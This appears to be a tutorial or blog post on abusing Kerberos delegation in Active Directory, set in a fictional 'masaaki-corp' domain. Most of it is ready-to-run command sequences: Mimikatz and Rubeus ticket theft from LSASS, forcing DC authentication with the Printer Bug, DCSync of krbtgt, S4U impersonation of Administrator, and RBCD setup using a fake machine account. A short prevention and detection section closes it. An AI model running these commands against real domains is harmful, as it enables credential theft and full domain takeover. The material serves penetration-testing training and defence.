1. Understanding the Three Delegation Types
Delegation exists to solve a real problem: a web application needs to query a database on behalf of the logged-in user. Without delegation, the web server can't pass the user's identity to the database. With delegation, it can impersonate the user and act on their behalf.
The most permissive form. The delegating server receives a copy of the user's TGT in the service ticket. It can then impersonate the user to any service in the domain — no restrictions. The TGT is stored in LSASS memory on the delegating server.
Limited to specific services. Configured via msDS-AllowedToDelegateTo. Uses two Kerberos extensions: S4U2Self (impersonate a user to itself) and S4U2Proxy (impersonate a user to a specific service). Does not require the user's TGT.
Introduced in Windows 2012. The trust is configured on the resource (target) rather than the delegator. The target machine's msDS-AllowedToActOnBehalfOfOtherIdentity attribute specifies which machines can delegate to it. Configurable by anyone with write access to the target computer object.
2. Unconstrained Delegation — TGT Theft & Printer Bug
Servers with unconstrained delegation enabled receive a copy of the connecting user's TGT in every service ticket. If a Domain Admin (or any privileged user) authenticates to such a server, their TGT lands in LSASS memory. You extract it and impersonate the DA.
# Find all computers with unconstrained delegation (excluding DCs — they always have it)
PS C:\AD\Tools> Get-DomainComputer -UnConstrained | select name, dnshostname
# Example output:
name dnshostname
---- -----------
MASAAKI-WEBAPP01 masaaki-webapp01.masaaki-corp.local
# Also check user accounts with unconstrained delegation
PS C:\AD\Tools> Get-DomainUser -AllowDelegation | select samaccountname
You've compromised masaaki-webapp01 which has unconstrained delegation. Now you wait for a privileged user to authenticate to it, then steal their TGT from LSASS memory.
# On masaaki-webapp01 — monitor for new TGTs in LSASS (run as admin)
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
# Export all current tickets (run periodically)
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Look for TGTs belonging to privileged accounts
PS C:\AD\Tools> dir | Where-Object { $_.Name -match "krbtgt" }
# Using Rubeus — monitor for new TGTs in real time
C:\AD\Tools> .\Rubeus.exe monitor /interval:5 /nowrap
# Outputs base64-encoded tickets as they appear — copy and inject on your machine
# Inject the captured TGT
C:\AD\Tools> .\Rubeus.exe ptt /ticket:<base64-ticket>
# Or inject from a .kirbi file
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::ptt [email protected]"'
Don't want to wait? The Printer Bug (MS-RPRN) is a feature (not a bug) in the Windows Print Spooler service. Any authenticated domain user can call RpcRemoteFindFirstPrinterChangeNotification on a remote machine and force it to authenticate back to a specified target via Kerberos. If you force the Domain Controller to authenticate to your unconstrained delegation server, the DC's TGT lands in your LSASS — and a DC TGT = full domain compromise.
# On masaaki-webapp01 (unconstrained delegation server) — start Rubeus monitor
C:\AD\Tools> .\Rubeus.exe monitor /interval:5 /nowrap
# From ANY domain machine — trigger the DC to authenticate to masaaki-webapp01
C:\AD\Tools> .\MS-RPRN.exe \\masaaki-dc.masaaki-corp.local \\masaaki-webapp01.masaaki-corp.local
# Or using SpoolSample
C:\AD\Tools> .\SpoolSample.exe masaaki-dc masaaki-webapp01
# Rubeus captures the DC's TGT — inject it
C:\AD\Tools> .\Rubeus.exe ptt /ticket:<base64-dc-tgt>
# Now run DCSync using the DC's machine account identity
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt /domain:masaaki-corp.local" exit
3. Constrained Delegation — S4U2Self & S4U2Proxy Abuse
Constrained delegation restricts which services the delegating account can impersonate users to. The account's msDS-AllowedToDelegateTo attribute lists specific SPNs. Two Kerberos extensions make this work: S4U2Self (allows the service to get a TGS for itself on behalf of any user) and S4U2Proxy (uses that TGS to get a TGS for the allowed target service).
# Find user accounts with constrained delegation configured
PS C:\AD\Tools> Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
# Find computer accounts with constrained delegation
PS C:\AD\Tools> Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
# Example output:
samaccountname msds-allowedtodelegateto
-------------- --------------------------
masaaki_web_svc {MSSQLSvc/masaaki-mssql.masaaki-corp.local:1433}
# masaaki_web_svc can impersonate any user to the SQL service on masaaki-mssql
Scenario: You have the NTLM hash (or password) for masaaki_web_svc. This account is configured for constrained delegation to MSSQLSvc/masaaki-mssql. Use S4U2Self + S4U2Proxy to get a TGS as the Domain Administrator to the SQL service.
# Step 1: Get a TGT for masaaki_web_svc using its hash
C:\AD\Tools> .\Rubeus.exe asktgt /user:masaaki_web_svc /domain:masaaki-corp.local /rc4:3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e /nowrap
# Step 2: Use S4U2Self + S4U2Proxy to get a TGS as Administrator to the SQL service
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"MSSQLSvc/masaaki-mssql.masaaki-corp.local:1433" /ptt
# The ticket is injected — access the SQL server as Administrator
PS C:\AD\Tools> Invoke-Command -ComputerName masaaki-mssql -ScriptBlock { whoami }
masaaki-corp\administrator
MSSQLSvc/masaaki-mssql:1433, you can often substitute the service type for cifs or host while keeping the same server name. This gives you file system / PS Remoting access instead of just SQL. Many servers accept tickets with alternate service types for the same host.
# Substitute CIFS to get file system access on the same server
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-mssql.masaaki-corp.local" /altservice:cifs /ptt
# Access the server's file system
PS C:\AD\Tools> dir \\masaaki-mssql\C$
If a computer account has constrained delegation, you need SYSTEM on that machine (not just the hash). From SYSTEM, request the TGT using the machine account credentials.
# From SYSTEM on masaaki-webapp01 — request TGT for the machine account
C:\AD\Tools> .\Rubeus.exe tgtdeleg /nowrap
# This requests a TGT using the machine's Kerberos credentials
# Then S4U2Self + S4U2Proxy as Administrator
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-machine-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-dc.masaaki-corp.local" /ptt
# Access the DC
PS C:\AD\Tools> dir \\masaaki-dc\C$
4. Resource-Based Constrained Delegation (RBCD)
RBCD flips the delegation model. Instead of the delegating account specifying where it can delegate to, the target machine specifies who can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Crucially, this attribute can be written by anyone with GenericWrite, GenericAll, or Write rights on the target computer object — which your ACL enumeration from Blog 1 may have found.
# Find computer objects where masaaki (or a controlled group) has write rights
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{
$_.IdentityReferenceName -match "masaaki" -and
$_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite"
} | select ObjectDN, ActiveDirectoryRights
# Example: masaaki has GenericWrite on masaaki-srv01
# BloodHound shows the same — look for GenericWrite edges on computer objects
To exploit RBCD you need a computer account you control (its NTLM hash). You can create one — domain users can create up to 10 computer accounts by default (controlled by ms-DS-MachineAccountQuota).
- Create a controlled computer account (or use one you already control):
# Create a fake computer account masaaki-fake-pc with password Masaaki@2026 PS C:\AD\Tools> . .\Powermad.ps1 PS C:\AD\Tools> New-MachineAccount -MachineAccount masaaki-fake-pc -Password $(ConvertTo-SecureString 'Masaaki@2026' -AsPlainText -Force) -Verbose # Get the SID of the new computer account PS C:\AD\Tools> Get-DomainComputer masaaki-fake-pc | select objectsid S-1-5-21-719815819-3726368948-3917688648-7777 - Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target (masaaki-srv01):
# Build the security descriptor containing masaaki-fake-pc's SID PS C:\AD\Tools> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-719815819-3726368948-3917688648-7777)" PS C:\AD\Tools> $SDBytes = New-Object byte[] ($SD.BinaryLength) PS C:\AD\Tools> $SD.GetBinaryForm($SDBytes, 0) # Write the attribute to masaaki-srv01 (masaaki has GenericWrite on it) PS C:\AD\Tools> Get-DomainComputer masaaki-srv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Verify PS C:\AD\Tools> $RawBytes = Get-DomainComputer masaaki-srv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -Expand msds-allowedtoactonbehalfofotheridentity PS C:\AD\Tools> (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl - Get the NTLM hash of masaaki-fake-pc:
PS C:\AD\Tools> .\Rubeus.exe hash /password:Masaaki@2026 /user:masaaki-fake-pc$ /domain:masaaki-corp.local rc4_hmac : A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 - S4U2Self + S4U2Proxy — impersonate Administrator to masaaki-srv01:
# Get TGT for masaaki-fake-pc C:\AD\Tools> .\Rubeus.exe asktgt /user:masaaki-fake-pc$ /rc4:A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 /domain:masaaki-corp.local /nowrap # S4U2Self + S4U2Proxy to impersonate Administrator on masaaki-srv01 C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-srv01.masaaki-corp.local" /ptt # Access masaaki-srv01 as Domain Admin PS C:\AD\Tools> dir \\masaaki-srv01\C$ PS C:\AD\Tools> Enter-PSSession -ComputerName masaaki-srv01
5. Prevention & Detection
The Printer Bug (SpoolSample) requires the Spooler service. Disable it on all DCs via GPO: Computer Configuration → Windows Settings → Security Settings → System Services → Print Spooler → Disabled.
Enable "Account is sensitive and cannot be delegated" on all DC accounts. DC machine accounts should never be seen in unconstrained delegation scenarios.
Set ms-DS-MachineAccountQuota to 0 on the domain object to prevent standard users from creating computer accounts. RBCD exploitation requires a controlled computer account.
Review all accounts with msDS-AllowedToDelegateTo set. Any service account with delegation to a DC (e.g. LDAP, CIFS on a DC) should be removed immediately — it allows full domain compromise via S4U.
Alert on event 5136 (Directory Service Object Modification) targeting this attribute. Changes here that aren't made by a DC or domain admin are highly suspicious RBCD setup.
Members of the Protected Users group cannot be delegated. Add all privileged accounts (DAs, EAs, service accounts) to this group. This prevents both unconstrained and constrained delegation from working against them.